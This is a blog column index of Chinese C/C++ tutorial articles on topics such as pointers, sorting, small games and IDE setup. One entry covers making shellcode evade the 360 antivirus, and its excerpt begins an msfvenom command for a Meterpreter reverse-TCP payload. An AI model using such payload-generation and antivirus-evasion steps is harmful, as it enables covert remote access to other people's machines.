
C/C++进阶学习
文章平均质量分 78
C语言编程俱乐部
C语言高级工程师,坚持每天分享C语言的知识和想法
展开
-
阿里高级工程师讲解什么是软件开发?定义和类型
通过清楚地了解客户的需求,开发满足他们期望的软件产品是可能的。尽管如此,一些最重要的工作包括创建一个清晰简洁的需求文档,使用强大且经过良好测试的软件开发方法,以及在所有利益相关者之间制定可靠的沟通计划。它涉及计算机科学,工程和数学分析的各种原理和技术的应用。随着对新的创新软件解决方案的需求不断增长,对熟练软件工程师的需求也在不断增长。随着世界越来越依赖技术,企业正在寻找具有开发和维护为其运营提供支持的软件的技能的候选人。它包括管理系统的硬件和软件资源的操作系统,以及帮助维护和优化系统的各种实用程序。原创 2023-05-24 13:31:36 · 845 阅读 · 0 评论 -
C 和 C++ 字符数据类型的历史
例如,文字 “” 的类型将是(在 C 中,而不是 C++) - 它将包括尾随零的空间。后来的Unicode标准版本引入了补充平面,用于Windows和AIX上的UTF-16编码形式,以及后来采用Unicode的其他平台上的UTF-32编码形式。如今,被广泛采用和使用。从历史上看,该类早于 C++ 中的模板和命名空间,并且在 1998 年采用 C++ 标准之前,它只是使用的众多类之一。在最简单的情况下,C 样式将使用单字节字符集进行编码,在这种情况下,每个字符集对应于可以在屏幕上显示的“字母”。原创 2023-05-23 12:40:12 · 513 阅读 · 1 评论 -
C 语言中的运算符:类型和示例
我们简要概述了 C 编程语言中的所有运算符,并解释了算术运算符、递增/递减运算符、赋值运算符、关系运算符、逻辑运算符、按位运算符、特殊运算符以及运算符优先级的基本介绍。有些运算符的优先级高于其他运算符,有些运算符的优先级低于其他运算符。正如我们所看到的,优先级最高的运算符出现在表的顶部,优先级最低的运算符出现在表的底部。在 C 程序的表达式中,将首先计算优先级较高的运算符,稍后将计算优先级较低的运算符。算术运算符是用于执行数学计算的运算符,如加法(+),减法(-),乘法(*),除法(/)和模数(%)。原创 2023-05-22 20:27:26 · 897 阅读 · 0 评论 -
只把 EasyX 拷贝进项目里,方便发给没有安装 EasyX 的人编译(以 VS2022 为例)
当你想把自己用 EasyX 编写的代码发给别人时,也许对方因为没安装 EasyX 导致无法编译。这时...原创 2022-12-03 16:34:36 · 719 阅读 · 0 评论 -
为什么C++被公认为是最难的语言?
当你凝视深渊时,深渊也在凝视你!战术上藐视,战略上重视原创 2022-10-07 14:05:29 · 2012 阅读 · 0 评论 -
一道C语言比赛真题,比较考验数组的综合运用,先给大家打个样
今天看到一个比赛真题,特来分享。非常考验数组的综合运用以及数组下标的运用。这段代码是什么意思呢?就是你输入几,就a[几]累加。比如你如入3,就是a[3]++。(别忘了初始化!)这就是巧妙运用数组下标的一种。———————————————言归正传。刚好这道题需要用到我上面的方法来计数,同学的序号是几,就a[几]++。最后别忘了是输出编号,所以要用打擂法保存i。这样一来,这道题就简单多了。参考代码:———————————...原创 2022-07-01 15:08:02 · 403 阅读 · 0 评论 -
C语言链栈及基本操作(包含入栈和出栈)保姆级详解
链栈,即用链表实现栈存储结构。原创 2022-06-18 16:55:24 · 2457 阅读 · 1 评论 -
什么是工程/项目?
一个真正的程序(也可以说软件)往往包含多项功能,每一项功能都需要几十行甚至几千行、几万行的代码来实现...原创 2022-06-10 15:19:01 · 1028 阅读 · 0 评论 -
那些一看就会、一放就忘的C语言知识
本文列举了部分学习中比较常见的一些C语言基础知识,希望能对大家有所帮助原创 2022-06-05 18:36:52 · 353 阅读 · 0 评论 -
必看笔记丨C语言完整编译过程解析 ,要想学好C语言基础必须得牢固
C语言原创 2022-05-28 14:39:53 · 415 阅读 · 0 评论 -
C++从入狱到入坟:文件和流,高级程序员必备核心知识,收藏即可学会
C++文件和流原创 2022-05-17 15:46:07 · 352 阅读 · 0 评论 -
50 岁的 C 语言,掌控 Windows、Linux、macOS 等操作系统半边天
诞生于1972年的C语言已经50岁了,目前来看,它还像20岁的小伙一样活力四射,似乎永不会退休,并且正在赋能全世界重量级应用系统的运行。不久之前,优快云发布了一篇《C不再是一门编程语言》的观点性文章。作者认为,C已经被提升到一个具有威望和权力的角色,它的统治是绝对和永恒的,以至于它扭曲了开发者与该语言之间的对话方式。当下,C是编程的通用语言,大家都必须学C,这也导致C不再只是一种编程语言,它成了每一种通用编程语言都需要遵守的协议。可以看出,在编程语言众多的今天,C语言依然代表着权威。近日,Me原创 2022-05-11 18:33:40 · 572 阅读 · 0 评论 -
C语言入门算法丨冒泡排序算法详解,绝不摆烂。
冒泡排序是所有排序算法中最简单、最易实现的算法,有时也称为起泡排序算法。使用冒泡排序算法对 n 个数据进行排序,实现思路是:从待排序序列中找出一个最大值或最小值,这样的操作执行 n-1 次,最终就可以得到一个有序序列。举个例子,对 {14, 33, 27, 35, 10} 序列进行升序排序(由小到大排序),冒泡排序算法的实现过程是:● 从 {14, 33, 27, 35, 10} 中找到最大值 35;● 从 {14,33,27,10} 中找到最大值 33;● 从 ...原创 2022-05-05 14:50:58 · 1218 阅读 · 0 评论 -
刚入坑C语言在写代码时最常犯的错误有哪些?来看看有那些返祖行为
骚年加油~原创 2022-04-29 16:21:41 · 971 阅读 · 0 评论 -
C语言丨如何查找数组(序列)中的最大值或者最小值?
程序中,我们经常使用数组(列表)存储给定的线性序列(例如 {1,2,3,4}),那么如何查找数组(序列)中的最大值或者最小值呢?查找数组(序列)中最大值或最小值的算法有很多,接下来我们以 {3,7,2,1}序列为例讲解两种查找最值的算法,一种是普通算法,另一种是借助分治算法解决。普通算法普通算法的解决思路是:创建两个变量 max 和 min 分别记录数组中的最大值和最小值,它们的初始值都是数组中的第一个数字。从第 2 个数字开始遍历数组,每遇到一个比 max 大的数字,就将它存储到 m.原创 2022-04-22 15:20:50 · 9261 阅读 · 0 评论 -
Dev C++调试程序方法超详解,系统地学一下如何用 Dev C++ 调试程序
所谓调试程序,就是控制编译器一行一行地执行代码,过程中可以清楚看到每个变量值的变化情况、函数的调用过程等,进而发现程序中隐藏的错误或者低效的代码。作为一款免费、开源的 C/C++ IDE,Dev C++ 内嵌 GCC 编译器和 GDB 调试器,既能编译、运行程序,也能调试程序。本节,我们以一段完整的 C 语言程序为例,系统地学一下如何用 Dev C++ 调试程序。#include <stdio.h>int add(int a,int b){ int c = a+b;..原创 2022-03-26 16:48:51 · 10358 阅读 · 1 评论 -
【C语言学习笔记】超级炫酷的C语言实用小技巧,学会这些隐藏技巧,早下班一小时
C语言常常让人觉得它所能表达的东西非常有限。它不具有类似第一级函数和模式匹配这样的高级功能。但是C非常简单,并且仍然有一些非常有用的语法技巧和功能,只是没有多少人知道罢了。原创 2022-03-22 18:50:57 · 302 阅读 · 0 评论 -
VS安全函数问题(C语言安全函数)是怎么回事?如何解决?
在 VS(Visual Studio)下编译C语言程序,如果使用了 scanf()、gets()、strcpy()、strcat() 等与字符串读取或操作有关的函数,有时候VS会报错,提示该函数可能不安全,并且建议替换为带有_s后缀的安全函数,如下图所示:什么是安全函数(safe function)scanf()、gets()、fgets()、strcpy()、strcat() 等都是C语言自带的函数,它们都是标准函数,但是它们都有一个缺陷,就是不安全,可能会导致数组溢出或者缓冲区溢出,让黑原创 2022-03-17 16:43:05 · 501 阅读 · 0 评论 -
C语言的头文件包含,竟存在这么多知识点
很多事不深入以为自己懂了,但真正用到项目上,才会发现其中的问题。曾以为自己写C语言已经轻车熟路了,特别是对软件文件的工程管理上,因为心里对自己的代码编写风格还是有自信的。本人曾经认为,一个.c文件对应一个.h文件,.c文件只包含它自身的.h文件就好,若.c文件中用到其他文件中的内容,则.h文件把用到的头文件包含进来就可以了。这种思想在项目代码量小,工程文件少时貌似看不出问题,但随着工程文件数量越来越多,我发现了这种思想存在弊端:头文件互相包含,导致编译时自以为有些宏变量声明了,它就能起作用,但实际测原创 2022-02-26 15:35:13 · 894 阅读 · 0 评论 -
C语言黑科技:阿基米德螺旋线。新奇,趣味,高级~
程序简介最初是想用阿基米德螺旋线实现可视化 π,于是学习了泰勒展开计算 π 的过程,同理举一反三实现了计算 e的过程,学习了画阿基米德螺旋线。后来又实现了一种“走路的直线”,来可视化有理数。本程序糅合了所有功能,实现用螺旋线和行走线,来可视化无理数 π,无理数 e和有理数。计算 π,计算 e的过程,用到了泰勒展开。不知道是否是巧合,π 的前两项和,与 e的前四项和都是 2.666 ...。并且巧合的是这两个无理数泰勒展开的每一项其实都“包含”了上一项。π 中的第 i项即是上一项乘 i/( ...原创 2022-02-14 18:31:10 · 1323 阅读 · 0 评论 -
C语言指针是什么?1分钟彻底理解C语言指针的概念
计算机中所有的数据都必须放在内存中,不同类型的数据占用的字节数不一样,例如 int 占用 4 个字节,char 占用 1 个字节。为了正确地访问这些数据,必须为每个字节都编上号码,就像门牌号、身份证号一样,每个字节的编号是唯一的,根据编号可以准确地找到某个字节。下图是 4G 内存中每个字节的编号(以十六进制表示):我们将内存中字节的编号称为地址(Address)或指针(Pointer)。地址从 0 开始依次增加,对于 32 位环境,程序能够使用的内存为 4GB,最小的地址为 0,最大的地址为..原创 2022-01-15 14:24:33 · 555 阅读 · 0 评论 -
C语言开发‘盲人体验器’【附源码】
【盲人体验器】源码附上!原创 2022-01-07 18:57:42 · 607 阅读 · 0 评论 -
C语言经典面试题丨快来测一测你的基础语法扎不扎实,你能做出几题?
一、请填写 bool , float, 指针变量 与“零值”比较的 if 语句。提示:这里“零值”可以是 0, 0.0 , FALSE 或者“空指针” 。例如 int 变量 n 与“零值”比较的 if 语句为:if ( n == 0 )if ( n != 0 )\以此类推。(1)请写出 bool flag 与“零值”比较的 if 语句:【标准答案】if ( flag ) if ( !flag )(2)请写出 float x 与“零值”比较的 if...原创 2021-12-14 13:48:28 · 512 阅读 · 0 评论 -
【C++算法】最大二叉树,合并二叉树题目详细解读
▎合并二叉树一、题目描述给定两个二叉树,想象当你将它们中的一个覆盖到另一个上时,两个二叉树的一些节点便会重叠。你需要将他们合并为一个新的二叉树。合并的规则是如果两个节点重叠,那么将他们的值相加作为节点合并后的新值,否则不为NULL 的节点将直接作为新二叉树的节点。二、示例1:输入:Tree 1 Tree 2 1 2 ...原创 2021-11-25 19:59:18 · 693 阅读 · 0 评论 -
C语言修仙大法,基础知识全复习。
▓数据类型:常量:常量包括字面常量、直接常量和符号常量;变量:C语言规定标志符只能由字母、数字和下划线三种字符组成,且第一个字符必须是字母或者下划线;必须压迫先定义后使用;每一个变量被定义以确定类型后,在编译时就能为其分配相应的存储单元;整数类型:整数常量有十进制、八进制和十六进制;“%d”整形变量:数据在内存中存放形式是以二进制形式存放;有int型、short int型和long int型,无符号整型变量的范围是0~65535,有符号型为-32768—32767.通常把long定义为32.原创 2021-10-30 15:44:30 · 995 阅读 · 0 评论 -
C++入口不是main?知乎上都快打起来了,你们不要再打了啦。
知乎上居然有人为了C++的入口函数到底是什么打了起来!至于打的有多激烈我就不知道了,我们来关注这个问题本身。你说main函数是入口,那main是被谁调用的呢?他说mainCRTStartup是入口,那mainCRTStartup又是被谁调用的呢?▎从进程创建说起一切的一切,让我们从创建进程开始说起。进程创建完成后,接着会创建主线程,这是进程中第一个开始执行代码的线程。主线程创建后,就得到了时间片,开始参与系统的线程调度,那么程序从哪里开始执行呢?在Windows平台,原创 2021-10-28 15:12:42 · 557 阅读 · 0 评论 -
不用创建项目,直接在VS里快速测试 C/C++ 代码。
概述Visual Studio强大、方便,但是每次写代码都要先创建新项目,这对于一些简单的代码测试来说有点不方便。本文介绍一种使用 VS 快速测试代码的方法。该方法适用任何版本的 VS。“不用创建项目”,是指不用“手工”创建项目,而是通过批处理命令,自动完成相关功能,实现双击图标后就进入代码编写环境。准备工作先按照如下步骤进行准备(请根据实际情况调整路径):1.建立文件夹 D:\TestCpp\,里面存放用来快速测试代码的项目。2.打开 Visu...原创 2021-10-27 15:22:30 · 1681 阅读 · 0 评论 -
在 Dev-C++ 或 Code::Blocks 下面配置 EasyX !
前言EasyX虽然挺好用,但是目前官方只发布了针对VC的使用方法。本文介绍如何将 EasyX配置到 DevCpp或 CodeBlocks里面,并提供相关的库。平时我工作忙,有问题直接在后面留言,我会尽力修改。注:版本太老的 mingw无法支持。库下载点这里下载 easyx4mingw_20211002配置说明Code::Blocks配置 EasyX的详细说明以下配置说明仅以官方原版 Code::Blocks 20.03为例,假设 Code::Blo...原创 2021-10-22 15:26:36 · 5737 阅读 · 3 评论 -
C语言 | 函数执行成功时,究竟是return 1 还是return 0?
今天分享的内容是关于函数执行成功,返回0还是1的讨论~基本上,没有人会将大段的C语言代码全部塞入 main() 函数,更好的做法是按照复用率高,耦合性低的原则,尽可能的将代码拆分不同的功能模块,并封装成函数。C语言代码的组合千变万化,因此函数的功能可能会比较复杂,不同的输入,常常产生不同的输出结果。不同的输入,常常产生不同的输出结果。一、C语言函数的返回值C语言函数可以通过返回值表示输出结果,例如 log() 函数的返回值会根据不同的输入,返回不同的值。再比如,我们定义一个函数 my原创 2021-10-19 15:28:21 · 1716 阅读 · 0 评论 -
C++引用在本质上是什么,它和指针到底有什么区别?
通过上节的讲解,相信各位读者对引用都有了一个概念上的认识,能够简单地使用引用编程了,但又感觉糊里糊涂,不明白它到底是什么,它和指针有点相似,但又不是一个东西。首先举个例子:#include <iostream>using namespace std;int main(){ int a = 99; int &r = a; cout<<a<<", "<<r<<endl; cout<...原创 2021-10-11 18:42:47 · 1415 阅读 · 0 评论 -
一个风骚的C语言操作引起的轩然大波!
有个小伙伴在我们的交流群里发了类似下面的一张图:顿时引起一阵骚动,我把源代码再附上,main.c 如下:#include <stdio.h>#include <string.h>static char city_name[][20] = {#include "city.h"};int main(void) { printf("%s", city_name[0]);}city.h 如下:"北京","上海...原创 2021-09-13 15:39:03 · 394 阅读 · 0 评论 -
为啥码了十年代码,做到了高级工程师,但还是单身?
#include <stdio.h>#include <string.h>static char city_name[][20] = { #include "city.h" }; int main(void) { printf("%s", city_name[0]);}原创 2021-09-09 15:22:22 · 323 阅读 · 0 评论 -
shellcode免杀丨C语言三条指令免杀360!你还困吗?
shellcode免杀(1)C语言三条指令免杀360✉1简介描述有错的地方各位师傅海涵。经过一下午的C语言测试,得出了十多种过360的·方法,这里拿三种c的方式过360(思路大体相同),还有一个c++的免杀360和火绒都可以过等有时间都可以跟大家更新。✉2免杀过程废话就不多讲了对于初学者友好发展,先看一遍制作过程,我们准备好msf和cs的shllecodemsfvenom -p windows/meterpreter/reverse_tcp LHOST="自...原创 2021-09-07 14:14:26 · 1895 阅读 · 1 评论 -
【小游戏开发】七巧板!思路、源码,超适合学习的小项目!
游戏介绍鼠标左键拖动图形移动,松开时自动吸附,按下 ctrl 键的同时拖动则不进行吸附,右键单击图形顺时针旋转 45°,ESC 结束游戏。新增内容1.增加了点吸附效果,拖动图形松开后,触发边吸附的同时也会触发点吸附。2.拖动图形的同时,若按下 ctrl 键,则不会进行吸附。有待完善...程序说明简要介绍程序中的一些点。▓ 属性使用模板类和 lambda 表达式实现了属性,用于对外暴露字段,详见 C# 属性。使用属性可...原创 2021-09-02 14:16:17 · 1331 阅读 · 0 评论 -
比起读别人代码,程序员更怕什么?代码里堆满满满的翔!
程序员最怕读别人的代码,比这个更可怕的是什么?从别人那里接手一个老项目。前任程序员或者是编码能力不行,或者是跳槽之前故意摆烂……于是,一个隐藏着一堆烂摊子的项目,扔给了后来接手的人。本来以前是代码里夹翔,后来就是翔夹代码了。这些翔有各种各样的风味,其中就有那么十八种味道最是冲人。一、块里堆上我满满的翔。Java中有着无数的语句块,这些语句块可以嵌套。于是我们有很多优秀的产翔大师会在这些语句块中不断地嵌套,犹如无数层的俄罗斯套娃。二、把翔藏在注释里,有时候它会“惊艳”了原创 2021-09-01 15:02:30 · 383 阅读 · 0 评论 -
学习 C 语言丨编写一个简单的猜数字游戏
当你学习一门新的编程语言时,这个“猜数字”游戏是一个很好的入门程序。下面是如何用 C 语言来编写它。练习编程的最佳方法是编写示例程序,它能帮助你练习新知识。“猜数字”游戏的伟大之处在于它践行了几个编程概念:如何使用变量、如何比较值、如何打印输出以及如何读取输入。电脑从 1 到 100 中随机挑选一个数字,你必须通过猜测来算出来。我听到了很多人都在学习 C 语言的消息。所以,我想接着用 C 语言写一个“猜数字”的游戏。去取一个随机数从写一个函数来选择一个随机数字来开始“猜数字”游戏.原创 2021-08-30 16:23:07 · 1671 阅读 · 0 评论 -
C语言入门快问快答!
一、源程序的编译及链接是怎样一个过程?二、编写第一个简单的C语言程序三、C语言是强类型的语言,这是什么意思?任何程序都要处理数据,计算机可以处理的数据有多种类型。在C语言程序中,用来保存数据的变量必须事先定义才能在程序中使用。定义变量的语法如下:变量类型名 变量名表;例如,以下语句定义了x、y、z三个变量名,其值只能取整型值:int x,y,z;在C程序中,每一个变量都必须声明其取值类型。因此,C语言是一种强类型的程序设计语言。对于程序中使用到的常量、原创 2021-08-26 15:15:16 · 449 阅读 · 0 评论 -
双手奉上!一个好玩的小游戏(纯C语言编写)!
效果演示源代码#include<stdio.h>#include<string.h>#include<conio.h>#include<windows.h>#include<stdlib.h>#define MAX 100long long int speed = 0;//控制敌机的速度int position_x, position_y;//飞机的所在位置int high, width;//地图的原创 2021-08-23 15:53:49 · 1130 阅读 · 0 评论 -
C语言每日编程:打印一个圆形!代码+思路一学就会!
题目输入一个半径,用"*"打印这个半径的圆。思路每行打印两个点"*"。问题的关键是找到每行这两个"*"的位置,然后打印。怎么找某行"*"的位置?假设当前在第i行(1<=i<=2r),那么:第一个点的位置为:第二个点的位置是:每行,从第一个点循环到最后一个点(从j=1,循环到j =2r),一旦找到这两个点(即找到 j等于上面列出的两个点的位置),就打印。代码# include <stdio.h># include <m原创 2021-08-19 15:17:49 · 3700 阅读 · 0 评论 -
在终端上用 C++ 简单编写一个的猜谜游戏!
C++ 语言很复杂,但它可以教会你很多关于数据类型、内存管理和代码链接的知识。学习一门编程语言有几种方法。如果你是编码新手,你通常会学习一些基本的计算机编码概念,并尝试应用它们。如果你已经知道如何用另一种语言进行编码,你可以重新学习编码概念在新语言中是如何表达的。不管是哪种情况,学习这些新原理的便捷方法是创建一个简单的猜谜游戏。这会迫使你了解一门语言如何接收输入和发送输出,如何比较数据,如何控制程序的流程,以及如何利用条件来影响结果。它还确保你知道一门语言是如何组织其代码的;例如,Lua 或原创 2021-08-17 15:34:04 · 429 阅读 · 0 评论